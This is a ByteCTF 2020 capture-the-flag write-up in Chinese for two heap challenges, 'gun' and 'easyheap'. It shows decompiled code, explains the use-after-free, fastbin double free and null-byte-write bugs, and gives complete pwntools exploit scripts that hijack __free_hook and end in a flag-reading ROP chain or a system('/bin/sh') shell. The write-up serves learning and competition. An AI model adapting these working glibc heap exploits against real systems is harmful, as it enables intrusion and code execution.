2020bytectf

gun

1

保护全开,且沙箱限制了只能使用open,read,write,exit4个函数

总共有3个功能,买子弹,上膛,发射,购买时可以给子弹命名,发射时会输出 子弹名字

1
2
3
4
5
1.Shoot
2.Load
3.Buy
4.Exit
Action>

每发子弹都有一个标志位,放在全局数组0x4070

1
2
3
1 - 已购买,未上膛
2 - 已上膛
0 - 已发射

buy

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
int __usercall buy@<eax>(__int64 a1@<rbp>)
{
signed __int64 v2; // [rsp-18h] [rbp-18h]
__int64 v3; // [rsp-18h] [rbp-18h]
unsigned __int64 size; // [rsp-10h] [rbp-10h]
__int64 v5; // [rsp-8h] [rbp-8h]

__asm { endbr64 }
v5 = a1;
v2 = sub_1542(); // 从0下标开始,可能申请14个chunk
if ( v2 < 0 )
return puts("Enough");
if ( chunk_is_used[3 * v2] == 1LL )
return puts("The bullet is Used!");
printf("Bullet price: ", v2);
size = read_int((__int64)&v5);
if ( size <= 0xF || (signed __int64)((signed __int64)off_4010 - size) < 0 )
return puts("Too pool!");
if ( size > 0x500 )
return puts("Too big!");
*((_QWORD *)&chunk + 3 * v3) = malloc(size);
chunk_is_used[3 * v3] = 1LL;
printf("Bullet Name: ");
read_str((__int64)&v5, *((_QWORD *)&chunk + 3 * v3), size);// 这里没有0截断
off_4010 = (__int64 (__fastcall *)())((char *)off_4010 - size);
return puts("Confirm");
}

read_str函数没有0截断,所以可以用来泄漏地址

load

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int __usercall load@<eax>(__int64 a1@<rbp>)
{
unsigned __int64 idx; // [rsp-10h] [rbp-10h]
__int64 v3; // [rsp-8h] [rbp-8h]

__asm { endbr64 }
v3 = a1;
printf("Which one do you want to load?");
idx = read_int((__int64)&v3);
if ( idx > 0xD || chunk_is_used[3 * idx] == 0LL || chunk_is_used[3 * idx] == 2LL )
return puts("what??");
if ( qword_4050 )
*((_QWORD *)&unk_4068 + 3 * idx) = qword_4050;
qword_4050 = (__int64)&chunk + 0x18 * idx;
*((_QWORD *)&chunk + 3 * idx + 2) = 2LL;
return puts("Confirm.");
}

子弹上膛函数,FILO,这个弹夹是一个栈结构,0x4050放着的是最后上膛的子弹

漏洞函数 shoot

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
int __usercall shoot@<eax>(__int64 a1@<rbp>)
{
__int64 v2; // rax
__int128 v3; // [rsp-18h] [rbp-18h]
__int64 v4; // [rsp-8h] [rbp-8h]

__asm { endbr64 }
v4 = a1;
if ( !qword_4050 )
return puts("No bullet!");
printf("Shoot time: ");
*(_QWORD *)((char *)&v3 + 4) = (unsigned int)read_int((__int64)&v4);
LODWORD(v3) = 0;
while ( qword_4050 && (signed int)v3 < SDWORD1(v3) )
{
printf("Pwn! The %s bullet fired.\n", *(_QWORD *)qword_4050, (_QWORD)v3);
free(*(void **)qword_4050); // 指针未清空
*((_QWORD *)&v3 + 1) = qword_4050;
qword_4050 = *(_QWORD *)(qword_4050 + 8);
*(_QWORD *)(*((_QWORD *)&v3 + 1) + 0x10LL) = 0LL;
LODWORD(v3) = v3 + 1;
}
v2 = sub_159A();
return printf("%lld bullets left\n", v2, (_QWORD)v3);
}

存在UAF。值得注意的是,不仅是heap指针未清空,子弹前后关系的链表也没有清空

所以需要利用这个UAF造出个double free来

先购买并发射3发子弹,上膛顺序为2,1,0,发射后再购买1发子弹并上膛,之后再发射3发子弹,即可实现doubler free

2

3

像这样的构造方式就可以double free了,但是在glibc2.31的tcache中像 A->B->A还是会触发double free报错的,所以需要将这个double free构造在fastbin中去

这里注意对于fastbin double free的构造需要使用两个没有在tcache链表中的chunk来实现,如:

1
2
tcache[0x40]:1->2->3->4->5->6->7
fastbin[0x40]:8->9->8

因为虽然 tcache满足了,但是如果再一次free(1)的话还是会进入tcache分支进行检测,这个时候就会触发double free了

构造如下图

4

orw

double free实现后就可以写free_hook了,但是从glibc2.29后,setcontext函数的参数不再是rdi而是rdx,所以这里需要先找到一个gadget将参数转移到rdx

*mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];*

接下来使用setcontext控制参数构造rop调用orw读取flag。

对于setcontext及orw heap更多的了解可以参考

https://n0va-scy.github.io/2020/03/14/setcontext/

https://n0va-scy.github.io/2020/03/14/UNCTF-orwheap/

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
#coding:utf-8
from pwn import *
import sys

local = 1
context.terminal=['tmux','splitw','-h']
if len(sys.argv) == 2 and (sys.argv[1] == 'DEBUG' or sys.argv[1] == 'debug'):
context.log_level = 'debug'

if local:
p = process('./gun')
elf = ELF('./gun')
#libc = elf.libc
libc = ELF('libc-2.31.so')
else:
#p = remote("123.57.209.176","30772")
p = remote("123.56.96.75","30772")
elf = ELF('./gun')
#libc = elf.libc
libc = ELF('libc-2.31.so')

#内存地址随机化
def debug(addr=0,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
print "breakpoint_addr --> " + hex(text_base + 0x4060)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))

sd = lambda s:p.send(s)
rc = lambda s:p.recv(s)
sl = lambda s:p.sendline(s)
ru = lambda s:p.recvuntil(s)
sda = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)

def show(name,addr):
log.info(name + " --> %s",hex(addr))

def name():
sla("name: ","rabbit")

def choice(idx):
sla("Action> ",str(idx))

def buy(size,data):
choice(3)
sla("price: ",str(size))
sda("Name: ",data)

def load(idx):
choice(2)
sla("load?",str(idx))

def shoot(idx):
choice(1)
sla("time: ",str(idx))

name()

buy(0x500,'a' + '\n')
buy(0x10,'b' + '\n')

load(0)
#debug(0x167b)
shoot(1)

#debug(0x1947)
buy(0x10,'b' + '\n')
load(0)
#debug(0x1669)
shoot(1)
ru("The ")
libc_base = u64(rc(6).ljust(8,'\x00')) - 0x1ec062
free_hook = libc_base + libc.symbols['__free_hook']
setcontext = libc_base + libc.symbols['setcontext']
show("libc_base: ",libc_base)
#shoot(1)
load(1)
shoot(1)

# double free
for i in range(10):
buy(0x30,'a\n')

load(1)
load(2)
load(0)

for i in range(3,10):
load(i)
#debug(0x167b)
shoot(10)

buy(0x10,'b\n')
load(0)
shoot(3)

ru("Pwn! The ")
heap = u64(rc(6).ljust(8,'\x00'))
show("heap: ",heap)

print "double free done!"
for i in range(7):
buy(0x30,'a\n')

buy(0x30,p64(free_hook) + '\n')
buy(0x30,'b\n')
buy(0x30,'c\n')
if local:
buy(0x30,p64(0x1547a0 + libc_base) + '\n') #local
else:
buy(0x30,p64(0x154930 + libc_base) + '\n') #remote

pop_rax = 0x000000000004a550 + libc_base
pop_rdi = 0x0000000000026b72 + libc_base
pop_rsi = 0x0000000000027529 + libc_base
if local:
pop_rdx_r12 = 0x000000000011c1e1 + libc_base #local
else:
pop_rdx_r12 = 0x000000000011c371 #remote
syscall_ret = 0x0000000000066229 + libc_base
ret = 0x0000000000025679 + libc_base

pay = ''
if local:
pay += p64(0x1547a0 + libc_base) #local
else:
pay += p64(0x154930 + libc_base) #remote
pay += p64(heap + 0x30e)
pay = pay.ljust(0x20,'\x00')
pay += p64(setcontext+33)
pay = pay.ljust(0x38,'\x00')
pay += p64(0)*2 #r8,r9
pay = pay.ljust(0x68,'\x00')
pay += p64(0) + p64(0) #rdi,rsi
pay = pay.ljust(0x88,'\x00')
pay += p64(0) #rdx
ay = pay.ljust(0x98,'\x00')
pay += p64(0) #rcx
pay = pay.ljust(0xa0,'\x00') #return
pay += p64(heap + 0x32e + 0xd0) #stack
pay += p64(ret)
pay = pay.ljust(0xe0,'\x00')
pay += p64(heap + 0x32e)
pay += p64(ret) #ret
#open("flag")
#flag = free_hook + 0x1b8
flag = heap + 0x4c6
pay += p64(pop_rdi) + p64(flag)#0xb0 here is rop
#pay += p64(pop_rsi) + p64(0)
#pay += p64(pop_rdx_r12) + p64(0) + p64(0)
pay += p64(pop_rax) + p64(2)
pay += p64(syscall_ret)
#read(3,buf,0x200)
pay += p64(pop_rdi) + p64(3)
pay += p64(pop_rsi) + p64(heap & 0xfffffffffffff000) #buf
pay += p64(pop_rdx_r12) + p64(0x200) + p64(0)
pay += p64(pop_rax) + p64(0)
pay += p64(syscall_ret)
#write(1,buf,0x200)
pay += p64(pop_rdi) + p64(1)
pay += p64(pop_rsi) + p64(heap & 0xfffffffffffff000)
pay += p64(pop_rdx_r12) + p64(0x200) + p64(0)
pay += p64(pop_rax) + p64(1)
pay += p64(syscall_ret)
pay += "./flag\x00"

#print hex(len(pay))
buy(0x200,pay + '\n')
load(11)
#debug(0x167b)
shoot(1)

p.interactive()

easyheap

程序的漏洞在add函数中

5

先输入一个非法size,这时会赋值给v2,然后再输入合法size时,并没有更新v2,因此存在一个任意地址写入一个0字节的漏洞;接下来就是堆风水的构造

1、利用任意地址写0将topchunk size改小

6

2、利用任意地址写0修改tcache fd指向fastbin附近 实现overlop

7

3、申请一个特定大小的堆块,触发malloc_consolidate,并且切割之后放入unsorted bin中,这样泄漏出libc,并且获得另一块500的堆块,为double free准备

8

4、利用任意地址写0字节修改tcache fd

5、double free

9

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
#coding:utf-8
from pwn import *
import sys

local = 1
# context.terminal=['tmux','splitw','-h']
if len(sys.argv) == 2 and (sys.argv[1] == 'DEBUG' or sys.argv[1] == 'debug'):
context.log_level = 'debug'

if local:
p = process('./easyheap')
elf = ELF('./easyheap')
libc = elf.libc
else:
p = remote("")

#内存地址随机化
def debug(addr=0,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
print ("breakpoint_addr --> " + hex(text_base + 0x202040))
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))

sd = lambda s:p.send(s)
rc = lambda s:p.recv(s)
sl = lambda s:p.sendline(s)
ru = lambda s:p.recvuntil(s)
sda = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)

def choice(idx):
sla(">> ",str(idx))

def add(size,data = b"\n"):
choice(1)
sla("Size: ",str(size))
sda("Content: ",data)

def overflow(size,new_size,data = b"\n"):
choice(1)
sla("Size: ",str(size))
sla("Size: ",str(new_size))
sda("Content: ",data)

def show(idx):
choice(2)
sla("Index: ",str(idx))

def delete(idx):
choice(3)
sla("Index: ",str(idx))

add(0x80-0x40)
delete(0)
for i in range(7):
add(0x58)
add(0x58)
for i in range(5):
delete(i)
delete(6)
delete(7)
add(0x58)
# change top chunk size
overflow(0x60 + 0x58 +0x2, 0x58)

add(0x58)
delete(2)
delete(1)
delete(0)

add(0x58)
# change top chunk size
# now top chunk size = 0x20
overflow(0x60 + 0x58 +0x3, 0x58)

add(0x58)
delete(0)
delete(1)
delete(2)
delete(5)

# debug(0x154C)
overflow(0x60+0x60+1, 0x58)

add(0x58, b"a"*0x28 + p64(0x31) + b"\n") # 1
add(0x58, b"\x00"*0x28 + p64(0x31) + b"\n") # 2
# debug(0x14d7)
add(0x28)

show(2)
ru("Content: ")
main_arena = u64(ru(b"\n").strip(b"\n").ljust(8,b'\x00')) - 96
malloc_hook = main_arena - 0x10
libc_base = malloc_hook - libc.symbols['__malloc_hook']
free_hook = libc_base + libc.symbols['__free_hook']
system = libc_base + libc.symbols['system']
log.info("main_arena --> %s",hex(main_arena))
log.info("free_hook --> %s",hex(free_hook))

add(0x28) #4

delete(1)
delete(0)
delete(2)
# debug(0x154C)
# change tcache keys
overflow(0x98+2, 0x58, b"/bin/sh\x00\n") # 0
# double free
delete(4)
# debug()
add(0x28, p64(free_hook) + b"\n")
add(0x28)
add(0x28, p64(system) + b"\n")
delete(0)
# debug()

p.interactive()
0%